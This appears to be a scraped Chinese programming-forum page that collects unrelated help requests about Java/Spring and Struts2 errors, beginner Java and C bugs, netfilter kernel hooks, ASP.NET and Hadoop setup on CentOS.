com.sun.jmx.mbeanserver.JmxMBeanServer.invoke(JmxMBeanServer.java:801)rn at javax.management.remote.rmi.RMIConnectionImpl.doOperation(RMIConnectionImpl.java:1470)rn at javax.management.remote.rmi.RMIConnectionImpl.access$300(RMIConnectionImpl.java:76)rn at javax.management.remote.rmi.RMIConnectionImpl$PrivilegedOperation.run(RMIConnectionImpl.java:1311)rn at javax.management.remote.rmi.RMIConnectionImpl.doPrivilegedOperation(RMIConnectionImpl.java:1403)rn at javax.management.remote.rmi.RMIConnectionImpl.invoke(RMIConnectionImpl.java:832)rn at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)rn at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)rn at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)rn at java.lang.reflect.Method.invoke(Method.java:497)rn at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:323)rn at sun.rmi.transport.Transport$1.run(Transport.java:200)rn at sun.rmi.transport.Transport$1.run(Transport.java:197)rn at java.security.AccessController.doPrivileged(Native Method)rn at sun.rmi.transport.Transport.serviceCall(Transport.java:196)rn at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:568)rn at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:826)rn at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$255(TCPTransport.java:683)rn at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1/604006635.run(Unknown Source)rn at java.security.AccessController.doPrivileged(Native Method)rn at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:682)rn at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)rn at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)rn at java.lang.Thread.run(Thread.java:745)rnCaused by: java.lang.reflect.MalformedParameterizedTypeExceptionrn at sun.reflect.generics.reflectiveObjects.ParameterizedTypeImpl.validateConstructorArguments(ParameterizedTypeImpl.java:58)rn at sun.reflect.generics.reflectiveObjects.ParameterizedTypeImpl.(ParameterizedTypeImpl.java:51)rn at sun.reflect.generics.reflectiveObjects.ParameterizedTypeImpl.make(ParameterizedTypeImpl.java:92)rn at sun.reflect.generics.factory.CoreReflectionFactory.makeParameterizedType(CoreReflectionFactory.java:105)rn at sun.reflect.generics.visitor.Reifier.visitClassTypeSignature(Reifier.java:140)rn at sun.reflect.generics.tree.ClassTypeSignature.accept(ClassTypeSignature.java:49)rn at sun.reflect.generics.visitor.Reifier.visitArrayTypeSignature(Reifier.java:159)rn at sun.reflect.generics.tree.ArrayTypeSignature.accept(ArrayTypeSignature.java:42)rn at sun.reflect.generics.repository.ConstructorRepository.getParameterTypes(ConstructorRepository.java:94)rn at java.lang.reflect.Executable.getGenericParameterTypes(Executable.java:284)rn at java.lang.reflect.Method.getGenericParameterTypes(Method.java:282)rn at java.beans.FeatureDescriptor.getParameterTypes(FeatureDescriptor.java:387)rn at java.beans.MethodDescriptor.setMethod(MethodDescriptor.java:116)rn at java.beans.MethodDescriptor.(MethodDescriptor.java:72)rn at java.beans.MethodDescriptor.(MethodDescriptor.java:56)rn at java.beans.Introspector.getTargetMethodInfo(Introspector.java:1205)rn at java.beans.Introspector.getBeanInfo(Introspector.java:426)rn at java.beans.Introspector.getBeanInfo(Introspector.java:173)rn at org.springframework.beans.CachedIntrospectionResults.(CachedIntrospectionResults.java:279)rn at org.springframework.beans.CachedIntrospectionResults.forClass(CachedIntrospectionResults.java:189)rn at org.springframework.beans.BeanWrapperImpl.getCachedIntrospectionResults(BeanWrapperImpl.java:173)rn at org.springframework.beans.BeanWrapperImpl.getPropertyDescriptors(BeanWrapperImpl.java:248)rn at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.filterPropertyDescriptorsForDependencyCheck(AbstractAutowireCapableBeanFactory.java:1418)rn at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.filterPropertyDescriptorsForDependencyCheck(AbstractAutowireCapableBeanFactory.java:1397)rn at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.populateBean(AbstractAutowireCapableBeanFactory.java:1259)rn at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:553)rn ... 57 morernrn30-Mar-2017 18:14:17.457 严重 [RMI TCP Connection(3)-127.0.0.1] org.apache.catalina.core.StandardContext.startInternal One or more listeners failed to start. Full details will be found in the appropriate container log filern30-Mar-2017 18:14:17.458 严重 [RMI TCP Connection(3)-127.0.0.1] org.apache.catalina.core.StandardContext.startInternal Context [] startup failed due to previous errors
大神帮看下我的代码哪里错了?
题目是编写程序,读入未指定个数的整数,判断读入的正数和负数分别有多少个,然后计算这些输入值的总和及其平均值(不对0计数)。当输入为0时,表明程序结束。将平均值以浮点数显示。nnimport java.util.Scanner;npublic class TextXXXXX n public static void main (String[] args)n Scanner input = new Scanner(System.in);n int count1 = 0 , count2 = 0 , sum = 0 , num;n double avg;n System.out.print("请输入一个整数,输入0时结束:");n num = input.nextInt();n while(num != 0)n System.out.print("请输入一个整数,输入0时结束:");n num = input.nextInt();n while(num > 0)n count1+=1;n while(num < 0)n count2+=1;n sum+=num;n n avg = sum /(count1 + count2);n System.out.println("整数个数为:" + count1 + " 负数个数为:" + count2);n System.out.println("和为:" + sum);n System.out.println("平均值为:"+ avg);n n
大神们,帮看下这个问题
Unable to instantiate Action, roleAction, defined for 'role_list' in namespace '/'roleActionrn com.opensymphony.xwork2.DefaultActionInvocation.createAction(DefaultActionInvocation.java:307)rn com.opensymphony.xwork2.DefaultActionInvocation.init(DefaultActionInvocation.java:388)rn com.opensymphony.xwork2.DefaultActionProxy.prepare(DefaultActionProxy.java:187)rn org.apache.struts2.impl.StrutsActionProxy.prepare(StrutsActionProxy.java:61)rn org.apache.struts2.impl.StrutsActionProxyFactory.createActionProxy(StrutsActionProxyFactory.java:39)rn com.opensymphony.xwork2.DefaultActionProxyFactory.createActionProxy(DefaultActionProxyFactory.java:47)rn org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:478)rn org.apache.struts2.dispatcher.ng.ExecuteOperations.executeAction(ExecuteOperations.java:77)rn org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:91)rn 帮看下这个问题rnrn rn rn rn rn rn rn rn /test.jsprn rn rn /WEB-INF/jsp/roleAction/list.jsprn /WEB-INF/jsp/roleAction/addUI.jsprn /WEB-INF/jsp/roleAction/tolist.jsprn role_list rn rn rn rn org.springframework.web.context.ContextLoaderListener rn rn rn rn contextConfigLocation rn classpath:applicationContext*.xml rn rn rn rn rn struts2 rn org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilterrn rn
关于netfilter开发,急
我编译了新的内核配置了netfiler的相关支持,自己的程序编译也通过,连接时提示:undefined reference to ‘nf_register_hook'.这个函数在哪里定义。应该如何连接近来。谢谢
关于netfilter开发的问题
我注册了一个NF_IP_PRE_ROUTING hook函数,用来查看收到的所有数据包。我现在要对一些特定的数据包返回NF_STOLEN,延迟一段时间再将这些包重新注入内核,我之前想直接调用ip_rcv_finish(skb)函数,但是会出现段错误。rnrn不知道这种方法错在哪里,或者正确的做法应该是怎样的?烦请高手指点下,谢了rn
帮看下
[img=https://img-bbs.csdn.net/upload/201708/12/1502533270_103479.png][/img]
帮看下。。。。。
private void Bu_Add_Click(object sender, System.Web.UI.ImageClickEventArgs e)rn rn this.Response.Redirect("../Refer/ProductRefer.aspx?cCusCode="+System.Web.HttpUtility.HtmlEncode(this.LaCusCode.Text.Trim())+"&cCusName="+System.Web.HttpUtility.HtmlEncode(this.LaCusName.Text));rn rnrn这是页面跳转时向要跳转的页面传递参数,LaCusCode是一个WEB(Label)控件,将Label的内容赋给cCusCode为什么前面+了个System.Web.HttpUtility.HtmlEncode呢,啥意思?cCusCode="+this.LaCusCode.Text.Trim()+"这样不行吗?
大神看下
#includernint main()rnrn int n,i,j,m;rn scanf("%d",n);rn for(i=1;i<=n;i++)rn rn j=i*i;rn m=i*i*i;rn printf("j=%d\n,m=%d\n",j,m);rnrn rnrn这个一运行就出现dcv。exe已停止工作rn怎么破
Strus2自己开发的系统(有加密,)
Strus2自己开发的系统
内核模块 嵌入开发(一)
   内核模块是具有独立功能的程序,它可以被单独编译,但是不能单独运行,它必须被链接到内核作为内核的一部分在内核空间运行。    模块编程与内核版本密切关联,因为不同的版本中的某些函数名有变化,所以模块编程也可以说是内核编程。      模块本身不会被编译进内核,从而控制内核的大小;模块一旦被加载,就和内核中的其他部分完全一样。    驱动程序也是一个模块      ...
为什么我不能实现在Pandel上加载图片?(有源码帮看下)
TPanel *panel;rnpanel=new TPanel(this);rnpanel->Parent=main; //main是主程序窗口rnpanel->Left=1;rnpanel->Top=50;rnpanel->Widht=Width/12;rnpanel->Height=Height-50;rnrn//以下是加载图片rnHDC hdc;rnGraphics::TBitmap *bitmap=new Graphics::TBitmap();rnbitmap->LoadFromFile("c:\\1.bmp");rnhdc=GetDC(panel->Handle);rn::StretchBlt(hdc,0,0,panel->Width,panel->Height,Bitmap->Canvas->Handle,0,0,Bitmap->Width,Bitmap->Height,SRCCOPY);
在AS上开发自己的SDK
在android studio上可以开发jar(java通用类库)和aar(android 独有资源库)。      区别:             *.jar:只包含了class文件与清单文件,不包含资源文件,如图片等所有res中的文件。         *.aar:包含所有资源,class以及res资源文件全部包含 1. aar的创建及导出:    在工程下  new modul
在CentOS6.9上配置Hadoop集群(一)
在CentOS6.9上配置Hadoop集群(一) 一、Centos的系统配置 1、配置网络环境 master和slave必须在同一网段下才能实现连接。 网络安装命令:setup 重新启动网络服务命令:service network restart 网络连接命令:ifup eth0 2、配置系统时钟同步 a.配置自动时钟同步:crontab -e 插入一下内容:0 1...
帮看下这个asp.net开发的小问题
娱乐休闲>>rnrnrn“/”应用程序中的服务器错误。rn--------------------------------------------------------------------------------rnrn类型“LinkButton”的控件“YuLe”必须放在具有 runat=server 的窗体标记内。
自己开发的系统
自己开发的物流系统,仅供相互学习,自己开发的物流系统,仅供相互学习
开发自己的即时通讯系统
作为编程爱好者,是否也想自己写一个像QQ/MSN那样的即时通讯软件呢?rn别以为高不可攀,其实你完全可以做到。rn我本人经过几年的实践,总结了一些比较容易让人写好即时通讯软件的方法,现在和各位讨论一下。rnrnrn什么事情,都是从简单开始学起,还记得你第一个做的算术题吗?rn想让一个人接受的方法就是让他觉得很简单。rn你要写一个通讯系统现在只需要会 VC++ 和一些MFC的经验。rn代码的话,我已经整套写好给大家了,一点一滴慢慢深入,循序渐进的研究方法,最后大家一定可以完全自主开发一套即时通讯系统。rnrn另外,我特意在‘百度贴吧’开了个主题,专门用来和大家讨论的。rn欢迎参与:http://tieba.baidu.com/f?kw=freeeimrnrn为了方便交流,我把这个做好的即时通讯系统叫做XEIM吧。rn今天先从比较容易理解的客户端开始。rn首先,知其然,先看看这个通讯系统如何工作。rnrn下载XEIM软件:http://www.freeeim.com/downloads/xeim1.2beta.zip rn配置 XEIM 很简单,在本机运行 xsvr.exe服务端,因为客户端需要连到服务端才能工作,这个应该好理解。rn服务器运行后,运行 client02.exe 客户端,首次运行需要输入服务器 IP,由于我们在本机运行了服务器,所以我们输入[localhost]或[127.0.0.1]。rn接着是登录界面,为了方便,用户我设置好了,你输入用户:aa,密码:118899,然后登录就可以了。rn再接着,在本机登录第二个用户(服务器无IP限制,本机可登录若干个Client),你输入用户:cc,密码:118899,登录。rn这时,两个客户端相互可以看到对方在自己好友列表里,这样可以双击对方图标,弹出对话框进行通讯了。rnrn完了之后,我们就来知其所以然了,多说没用,代码才是硬道理。rn下载代码:http://www.freeeim.com/downloads/xeimsrc.zip rnrn只包含客户端代码,服务器代码将会在以后适当的时机与大家分享。rn如果你喜欢这个项目,请继续关注。rn了解 XEIM 的最新动态,请访问:http://www.freeeim.com/news/ rnrn
hadoop集群之关闭CentOS6.9系统的防火墙
在搭建hadoop集群环境或者是使用hadoop计算的时候,往往会因为开启了系统的防火墙或者是没有关闭导致hadoop报错。 以下为开启和关闭CentOS6.9系统下的防火墙操作。 这里注意,一些教程里面的操作命令是针对不同操作系统和版本的。 (一) 临时性关闭防火墙 这是针对当前用户下。电脑重启以后就失效了。 可以给一些当前操作下不允许重启的人使用。 service命令开启以...
在CentOS6.9上配置Hadoop集群(二)
四、安装Hadoop集群 (1)将hadoop上传至master,可以用WinSCP上传,我这里以hadoop-2.5.1.tar.gz为例: (2)在master上创建一个新文件用来装hadoop: mkdir /home/hadoop (3)将hadoop目录的写权限分配给gznc-hadoop用户: chown –R gznc-hadoop:gznc-had...
centos6.9上beego环境搭建与测试
前言:搭建此环境必须有go语言编译环境,若没有请先安装go语言编译环境。            go语言编译环境安装可以参考:http://blog.csdn.net/qq_21794823/article/details/76376976 搭建环境:centos版本: go编译器版本: 搭建步骤: 1.若已经安装了git,可以执行以下命令: $ go get github.c
netfilter
linux netfilter iptables
自己重启?
我的WinXP会自己重启?运行到一半就像被人按了Reset一样,一下子重启了。重启后自检的时候听到硬盘加电开转的声音。这是不是说硬盘自动掉电引起重启?怎么会这样呢?以前两块硬盘的时候就这样了,我现在撤掉一块硬盘,还会发生这种事情。哪位知道这是为什么啊!帮帮我啊!
用过齐博系统的大神帮忙看下
用齐博B2B改了个网站,品牌首页不小心把标签删除了,导致最新入驻商家不显示,求大神们给个解决方案,[url=http://www.nylm.org/nylmorg/brand/]http://www.nylm.org/nylmorg/brand/[/url]
基于Netfilter内容过滤系统
本论文针对网络垃圾信息越来越多,网络信息需要区分对待。同时Linux内 核24.x和2.6.x所带的防火墙Nctfilte:框架是一个柔性的、可扩展的框架,其本 身提供了包过滤(PacketFilter)和网络地址转换(NAT)功能,但没有提供内容 过滤功能。基于Netfilter框架的基础上建立内容过滤系统,对网络信息进行内容 过滤是一个可行的方案。 本论文提出并实现了一个基于Netfilter的内容过滤系统,该系统由两个子 系统组成:添加内容过滤模块的Netfilter子系统,建立修正特征库子系统。
C语言,帮看下程序有什么问题
/*课上作业*/rn#includern#includernmain()rn rn float a,b,c,d,x1,x2;rn a=3.2;rn b=2.1;rn c=-8.4;rn d=b*b-4*a*c;rn x1=(-b+sqrt(p))/(2*a);rn x2=(-b-sqrt(p))/(2*a);rn printf("x1=%f,x2=%f",x1,x2);rn return 0;rnrn 错在哪里啊 rn --------------------Configuration: q - Win32 Debug--------------------rnCompiling...rnq1.crnD:\VC\VC\Microsoft Visual Studio\MyProjects\q\q1.c(7) : warning C4305: '=' : truncation from 'const double ' to 'float 'rnD:\VC\VC\Microsoft Visual Studio\MyProjects\q\q1.c(8) : warning C4305: '=' : truncation from 'const double ' to 'float 'rnD:\VC\VC\Microsoft Visual Studio\MyProjects\q\q1.c(9) : warning C4305: '=' : truncation from 'const double ' to 'float 'rnD:\VC\VC\Microsoft Visual Studio\MyProjects\q\q1.c(11) : error C2065: 'p' : undeclared identifierrnD:\VC\VC\Microsoft Visual Studio\MyProjects\q\q1.c(11) : warning C4244: '=' : conversion from 'double ' to 'float ', possible loss of datarnD:\VC\VC\Microsoft Visual Studio\MyProjects\q\q1.c(12) : warning C4244: '=' : conversion from 'double ' to 'float ', possible loss of datarnError executing cl.exe.rnrnq1.obj - 1 error(s), 5 warning(s)rn
36 进制 有兴趣的进来帮看下
String str = '00001'rnrn按照 36 进制 递增rn00002......00009rn0001A->....0001Zrn00020->....00029rn0003A........rn希望给出效率最高的算法!rn谢谢大家啦!
相关热词 c# login 居中 c# 考试软件 c# 自然语言分析 c# 分段读取文件 c# 泛型反射 c#打断点 c# 时间转多少秒 c# 线程函数加参数 c# modbus 读取 c#查询集合表